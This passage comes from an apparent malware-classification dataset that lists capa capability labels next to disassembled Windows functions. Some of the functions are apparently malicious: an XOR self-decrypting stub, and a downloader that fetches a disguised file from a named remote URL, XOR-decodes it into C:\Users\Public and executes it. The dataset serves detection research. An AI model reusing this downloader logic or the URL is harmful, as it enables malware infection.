joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d8b8f90
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8b8fa0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8b8fb0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8b8ff1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8b8fe8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8b8ff3
add rax, 0x28
cmp rax, r9
jne 0x6d8b8fd4
xor eax, eax
ret

Function at 0x6d8b9090
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8d61f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8b90fd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b90fd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b90fd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b90f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b90ff
add rax, 0x28
cmp rax, r9
jne 0x6d8b90e0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8b9200
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8d61f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8b9220
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b9218
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b927d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b9274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b9284
add rax, 0x28
cmp rax, r9
jne 0x6d8b9260
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8b92a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8d61f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8b930e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b930e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8b930e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8b930e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8b9305
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8b9315
add rcx, 0x28
cmp rcx, rax
jne 0x6d8b92f0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8b9328
jmp 0x6d8b930e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8b9336
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8b930e
test r9d, r9d
jg 0x6d8b9320
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8b96a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1bd3f20
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1bd3f2a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1bd3f53
pop rbp
sub rbp, 0x33
sub rbp, 0x17d3f20
sub rsp, 0x20
jmp 0x1bd3f72
mov rax, 0x17d3f20
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffa5331fdc
xor byte [rax], dl
inc rax
dec rcx
jne 0x1bd3f91
jmp 0x1bd3fa8
xchg esp, eax
push rbp
xor eax, 0xdce05557
invalid
Function at 0x140001188
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r8, [rcx + 0x20]
mov rbx, rcx
cmp qword [r8 + 0x18], 0x10
jb 0x1400011ae
mov r8, qword [r8]
mov rcx, qword [rcx + 8]
mov edx, 0x2712
call fcn.1401663d0
lea rdx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea rcx, [rsp + 0x20]
call fcn.1400013f0
cmp qword [rsp + 0x38], 0x10
mov rcx, qword [rbx + 8]
lea r8, [rsp + 0x20]
mov edx, 0x2722
cmovae r8, qword [rsp + 0x20]
call fcn.1401663d0
mov rcx, qword [rbx + 8]
mov edx, 0x44
lea r8d, [rdx - 0x3f]
call fcn.1401663d0
mov rcx, qword [rbx + 8]
mov edx, reloc.WS2_32.dll_gethostbyname
lea r8d, [rdx - 0x33]
call fcn.1401663d0
mov rcx, qword [rbx + 8]
mov edx, 0x63
lea r8d, [rdx - 0x62]
call fcn.1401663d0
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x2f]
call fcn.1401663d0
mov rcx, qword [rbx + 8]
lea r8, [0x140001364]
mov edx, 0x4e2b
call fcn.1401663d0
mov rcx, qword [rbx + 8]
mov r8, rbx
mov edx, 0x2711
call fcn.1401663d0
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x40]
call fcn.1401663d0
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x51]
call fcn.1401663d0
cmp qword [rsp + 0x38], 0x10
jb 0x14000128a
mov rcx, qword [rsp + 0x20]
call fcn.14000ab8c
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14014b380
add rsp, 0x50
pop rbx
ret

Function at 0x140001a38
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x30
mov r8, qword [rcx]
mov rbx, rcx
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 2
and qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rbx]
sub rdx, 0x18
cmp eax, 0x20
jae 0x140001a8b
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001a87
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor al, al
jmp 0x140001aa4
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001aa2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x140001b70
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rdi, rcx
call fcn.140013c48
test rdi, rdi
jne 0x140001bac
xor ecx, ecx
jmp 0x140001bb0
mov rcx, qword [rdi + 0x40]
bts eax, 8
mov edx, 0xfffffff0
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea rdx, [rbp + 0x190]
mov r8d, 0x104
mov rcx, rdi
call fcn.14001401c
mov rcx, qword [rdi + 0x40]
xor r9d, r9d
lea edx, [r9 + 0x31]
xor r8d, r8d
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, rax
call fcn.140015afc
lea r8, [rsp + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_60
mov rcx, qword [rax + 8]
call qword [sym.imp.GDI32.dll_GetObjectA]
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x55], 0
lea rbx, [rdi + 0xf0]
call qword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov rcx, rbx
mov rdx, rax
call fcn.140015b20
test rbx, rbx
jne 0x140001c33
xor r8d, r8d
jmp 0x140001c37
mov r8, qword [rbx + 8]
mov rcx, qword [rdi + 0x40]
mov edx, gethostbyname
lea r9d, [rdx - 0x2f]
call qword [sym.imp.USER32.dll_SendMessageA]
lea rcx, [rbp - 0x80]
mov edx, 0x208
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, str.Winhlp32.exe
lea rcx, [rbp - 0x80]
call fcn.14014c190
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001c90
mov edx, 0x6a
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rdi + 0xe0], rax
mov r9, qword [rdi + 0xe0]
mov rcx, qword [rdi + 0x40]
mov edx, 0x172
mov r8d, 2
call qword [sym.imp.USER32.dll_SendMessageA]
test rbx, rbx
je 0x140001cba
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
call fcn.1400913b0
mov r9, qword [rdi + 0xe0]
mov rcx, qword [rdi + 0x40]
mov edx, 0x172
mov r8d, 2
call qword [sym.imp.USER32.dll_SendMessageA]
mov rax, qword [rdi + 0x100]
lea rcx, [rdi + 0x100]
mov r8d, 1
mov rdx, rdi
call qword [rax + 0x2c0]
mov rcx, qword [rdi + 0x40]
and dword [rsp + 0x30], 0
and dword [rsp + 0x34], 0
and dword [rsp + 0x38], 0
and dword [rsp + 0x3c], 0
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetClientRect]
lea r9, [rsp + 0x30]
lea r8, [0x14020ee58]
lea rcx, [rdi + 0x100]
mov rdx, rdi
mov qword [rsp + 0x20], 0x3e9
call fcn.140018abc
lea rcx, [rdi + 0x100]
xor edx, edx
call fcn.140013df8
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.14014b380
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140004344
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov r10d, r8d
mov r11, rdx
mov r9d, ecx
test rdx, rdx
jne 0x140004363
xor eax, eax
jmp 0x140004474
not r9d
lea rsi, [0x1402103e0]
cmp r10d, 8
jb 0x14000444a
mov rbx, r10
shr rbx, 3
movzx ecx, byte [r11]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r11, 8
add r10d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r11 - 7]
mov edx, dword [rsi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 6]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 5]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 4]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 3]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 2]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 1]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rsi + rax*4]
xor r9d, edx
dec rbx
jne 0x14000437e
test r10d, r10d
je 0x14000446e
movzx ecx, byte [r11]
mov eax, r9d
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rsi + rdx*4]
xor r9d, eax
dec r10d
jne 0x14000444f
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
ret

Function at 0x140004480
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx]
movsx rax, dl
mov r10, rcx
mov r8d, r9d
shr r9d, 8
xor r8, rax
movzx eax, r8b
lea r8, [0x1402103e0]
mov edx, dword [r8 + rax*4]
xor edx, r9d
mov dword [rcx], edx
movzx eax, dl
mov edx, dword [rcx + 8]
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
movzx eax, byte [r10 + 7]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [r10 + 8], eax
ret

Function at 0x140004d4c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
mov rbp, rdx
mov r10, rcx
imul esi, edx
cmp byte [r9], 0
je 0x140004d9c
and qword [rax - 0x18], 0
mov rdx, rcx
mov rcx, qword [rdi + 8]
lea r9, [rax + 0x10]
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140004d96
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x140004dc3
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x140004daf
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov r8d, esi
mov rcx, r10
call fcn.14014b540
add dword [rdi + 0x2c], esi
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140005c84
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
jne 0x140005d0d
cmp dword [rcx + 8], 0xffffffff
jne 0x140005d0d
lea rdx, [rcx + 0x150]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rbx + 0x150]
call fcn.14014b890
mov dl, byte [rax + rbx + 0x14f]
cmp dl, 0x5c
je 0x140005cdf
cmp dl, 0x2f
je 0x140005cdf
lea rdx, [0x140210a30]
lea rcx, [rbx + 0x150]
call fcn.14014c190
lea rcx, [rsp + 0x30]
call fcn.140004b80
test rax, rax
jne 0x140005cf4
mov eax, dword [rsp + 0x30]
jmp 0x140005d12
mov rcx, rax
call fcn.140005064
mov qword [rbx], rax
neg rax
sbb eax, eax
not eax
and eax, 0x200
jmp 0x140005d12
mov eax, 0x1000000
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140006254
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140006299
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140006299
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [rdi]
test al, al
je 0x140006331
mov rsi, rdi
mov rcx, rdi
cmp al, 0x2f
je 0x1400062b1
cmp al, 0x5c
jne 0x1400062b4
mov rsi, rcx
inc rcx
mov al, byte [rcx]
test al, al
jne 0x1400062a9
cmp rsi, rdi
je 0x1400062f0
sub rsi, rdi
lea rcx, [rsp + 0x130]
mov rdx, rdi
mov r8, rsi
call fcn.14014b540
lea rdx, [rsp + 0x130]
mov rcx, rbx
mov byte [rsp + rsi + 0x130], 0
call fcn.140006254
mov byte [rsp + 0x20], 0
test rbx, rbx
je 0x140006307
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.14014c230
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.14014c190
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140006331
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14014b380
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000762c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14001a78b
cmp dword [rcx + 0xd8], 0
jne 0x14001a78b
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14001b3f4
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14001a6f0
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000775c
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
cmp rax, 0xffffffffffffffff
jne 0x1400077b8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x276d
jne 0x1400077b4
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x14025b278], 1
jmp 0x1400077c1
xor eax, eax
jmp 0x1400077c6
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14014b380
add rsp, 0x1d8
ret

Function at 0x140007e18
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rcx
call fcn.140006718
xor edi, edi
mov rbx, rax
test rax, rax
jne 0x140007e52
xor eax, eax
jmp 0x140007ec7
mov rdx, rsi
mov rcx, rax
call fcn.140006798
mov rcx, rbx
test eax, eax
je 0x140007e6b
call fcn.1400067c8
jmp 0x140007e4e
lea r8, [rsp + 0x20]
or edx, 0xffffffff
call fcn.140006720
test eax, eax
je 0x140007e81
mov rcx, rbx
jmp 0x140007e64
mov esi, dword [rsp + 0x20]
test esi, esi
jle 0x140007ead
lea r8, [rsp + 0x20]
mov edx, edi
mov rcx, rbx
call fcn.140006720
lea r8, [rsp + 0x24]
mov edx, edi
mov rcx, rbx
call fcn.140006790
inc edi
cmp edi, esi
jl 0x140007e89
mov rcx, rbx
call fcn.1400067c8
lea rcx, str.C:UsersPublichgh.dat
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14014b380
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140007f0c
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
xor esi, esi
call fcn.140007eec
mov rcx, rbp
call fcn.14014b890
lea rdx, [0x140210f3c]
lea rcx, str.C:UsersPublicykt.dat
mov r12, rax
call fcn.14014bb50
lea rdx, [0x14020ea3c]
lea rcx, str.C:UsersPublichgh.dat
mov rbx, rax
call fcn.14014bb50
mov rcx, rbx
mov rdi, rax
call fcn.14014cacc
test eax, eax
jne 0x140007fc6
lea r13d, [rsi + 1]
lea rcx, [rsp + 0x48]
mov r9, rbx
mov r8, r13
mov rdx, r13
call fcn.14014cdfc
mov rcx, rbx
call fcn.14014cacc
test eax, eax
jne 0x140007fba
mov eax, esi
mov r9, rdi
mov r8, r13
cdq
idiv r12d
movsxd rax, edx
mov rdx, r13
mov cl, byte [rax + rbp]
xor byte [rsp + 0x48], cl
lea rcx, [rsp + 0x48]
call fcn.14014bce8
add esi, r13d
mov rcx, rbx
call fcn.14014cacc
test eax, eax
je 0x140007f75
mov rcx, rbx
call fcn.14014ba10
mov rcx, rdi
call fcn.14014ba10
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140007ff0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x78]
sub rsp, 0x170
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov rbx, rcx
mov dword [rbp + 0x18], 0x43314376
mov dword [rbp + 0x1c], 0x5a317337
mov dword [rbp + 0x20], 0x79475058
mov dword [rbp + 0x24], 0x67464462
mov dword [rbp + 0x28], 0x72365a45
mov dword [rbp + 0x2c], 0x35763551
mov dword [rbp + 0x30], 0x4d42484a
mov dword [rbp + 0x34], 0x6e7a626a
mov byte [rbp + 0x38], 0
mov dword [rbp + 0x40], 0x555c3a43
mov dword [rbp + 0x44], 0x73726573
mov dword [rbp + 0x48], 0x6275505c
mov dword [rbp + 0x4c], 0x5c63696c
mov dword [rbp + 0x50], 0x5a6e6957
mov dword [rbp + 0x54], 0x795c7069
mov dword [rbp + 0x58], 0x65676170
mov dword [rbp + 0x5c], 0x78652e72
mov word [rbp + 0x60], 0x65
mov dword [rbp], 0x555c3a43
mov dword [rbp + 4], 0x73726573
mov dword [rbp + 8], 0x6275505c
mov dword [rbp + 0xc], 0x5c63696c
mov byte [rbp + 0x10], 0
lea rcx, [rbp - 0x70]
call fcn.14000104c
nop
lea rdx, str.C:UsersPublicykt.dat
lea rcx, [rsp + 0x60]
call fcn.1400013f0
nop
lea rdx, str.https:__link.jscdn.cn_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnaTkyLVhycUF5WGlSZVkzP2U9NkpEYlhG.jpg
lea rcx, [rsp + 0x38]
call fcn.1400013f0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x70]
call fcn.1400012a0
nop
cmp qword [rsp + 0x50], 0x10
jb 0x14000810b
mov rcx, qword [rsp + 0x38]
call fcn.14000ab8c
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
and qword [rsp + 0x48], 0
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x78], 0x10
jb 0x140008131
mov rcx, qword [rsp + 0x60]
call fcn.14000ab8c
lea rcx, [rbp - 0x70]
call fcn.140001110
lea rcx, [rbp + 0x18]
call fcn.140007f0c
lea rcx, [rbp]
call fcn.140007e18
mov dword [rsp + 0x28], 5
and qword [rsp + 0x20], 0
lea r9, [0x14020ee58]
lea r8, [rbp + 0x40]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rbx
call fcn.14001c64c
mov ebx, eax
lea rcx, [rbp - 0x70]
call fcn.1400010b0
mov eax, ebx
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.14014b380
mov rbx, qword [rsp + 0x188]
add rsp, 0x170
pop rbp
ret

Function at 0x140008f28
Capabilities:
Get file system object information

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x1b0
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rdi, rcx
mov r8d, 0x2c8
add rcx, 0x128
call fcn.14014b540
lea r8, [rdi + 0x22c]
mov edx, 0x1391
mov rcx, rdi
call fcn.140013bd8
lea r8, [rsp + 0x30]
lea rcx, [rdi + 0x128]
mov r9d, 0x168
mov edx, 0x80
mov dword [rsp + 0x20], 0x110
call qword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov rbx, qword [rsp + 0x30]
mov rcx, rdi
test rbx, rbx
je 0x140008fc6
mov edx, 0x138a
call fcn.140013b60
mov r9, rbx
mov edx, 0x172
mov rcx, qword [rax + 0x40]
mov r8d, 1
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140008fd8
lea rdx, str.Could_not_retrieve_the_file_icon.
xor r9d, r9d
xor r8d, r8d
call fcn.14000da44
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.14014b380
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x1b0
pop rdi
ret
Function at 0x140009aa8
Capabilities:
Send data
Send data on socket

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x70
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rdi, rcx
mov dword [rcx + 0x3ec], 2
lea rcx, [r11 - 0x58]
call fcn.140006860
nop
mov dword [rsp + 0x20], 0xef00000c
lea rcx, [rsp + 0x48]
call fcn.14000696c
nop
lea r8, [rdi + 0x128]
lea rdx, [rdi + 0x340]
lea rcx, [rsp + 0x48]
call fcn.140006998
lea rcx, [rsp + 0x48]
call fcn.140006a5c
mov ebx, eax
lea rcx, [rsp + 0x48]
call fcn.1400069f0
mov rdx, rax
mov r8d, ebx
lea rcx, [rsp + 0x20]
call fcn.140006878
lea rcx, [rsp + 0x20]
call fcn.14000692c
mov ebx, eax
lea rcx, [rsp + 0x20]
call fcn.1400068c0
mov rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, qword [rdi + 0x3e0]
call qword [sym.imp.WS2_32.dll_send]
nop
lea rcx, [rsp + 0x48]
call fcn.140006a64
nop
lea rcx, [rsp + 0x20]
call fcn.140006934
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14014b380
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret

Function at 0x14000a038
Capabilities:
Get file system object information

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x1b0
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rbx, rcx
mov r8d, 0x2c8
add rcx, 0x118
call fcn.14014b540
lea r8, [rbx + 0x21c]
mov edx, 0x1391
mov rcx, rbx
call fcn.140013bd8
lea r8, [rsp + 0x30]
lea rcx, [rbx + 0x118]
mov r9d, 0x168
mov edx, 0x80
mov dword [rsp + 0x20], 0x110
call qword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov rsi, qword [rsp + 0x30]
mov rcx, rbx
test rsi, rsi
je 0x14000a0db
mov edx, 0x138a
call fcn.140013b60
mov r9, rsi
mov edx, 0x172
mov rcx, qword [rax + 0x40]
mov r8d, 1
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000a0ed
lea rdx, str.Could_not_retrieve_the_file_icon.
xor r9d, r9d
